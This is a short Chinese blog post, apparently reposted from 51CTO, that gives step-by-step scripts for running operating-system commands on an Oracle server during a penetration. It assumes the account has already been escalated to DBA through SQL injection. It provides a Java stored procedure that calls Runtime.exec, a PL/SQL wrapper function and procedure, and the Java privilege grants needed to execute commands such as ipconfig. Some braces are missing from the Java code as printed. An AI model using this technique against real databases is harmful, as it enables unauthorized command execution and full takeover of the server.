天天看點

[最新提示]通過Oracle滲透中執行OS指令

前奏:

需要利用有REscourse權限的使用者比如SCOTT登入Oracle并用SQLInjection提權至DBA權限

網上有一種執行OS指令的方法:

c:\1.sql

create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*; 

public class util extends Object

{

public static int RunThis(String args)

Runtime rt = Runtime.getRuntime();

int RC = -1; 

try

Process p = rt.exec(args);

int bufSize = 4096; 

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len); 

RC = p.waitFor();

}

catch (Exception e)

e.printStackTrace();

RC = -1;

finally

return RC;

c:\2.sql

create or replace

function RUN_CMz(p_cmd in varchar2) return number

language java

name 'util.RunThis(java.lang.String) return integer';

c:\3.sql

create or replace procedure RC(p_cmd in varChar)

x number;

begin 

x := RUN_CMz(p_cmd);

end;

登陸上去後依舊是依次執行

SQL> @c:\1.sql

        /

       @c:\2.sql

       /

      @c:\3.sql

      /

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system; 網上的方法沒有這一行,我無法成功,加上去可以

exec :x:=run_cmz('ipconfig'); 

注意:最後加亮的兩句~這裡的system要對應你登入的使用者名~比如用scott登入的~就要更改為scott,另外如果第一次執行錯誤要退出後從新登入再順序執行~否則Oracle會一直提示權限不夠~

本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/397547,如需轉載請自行聯系原作者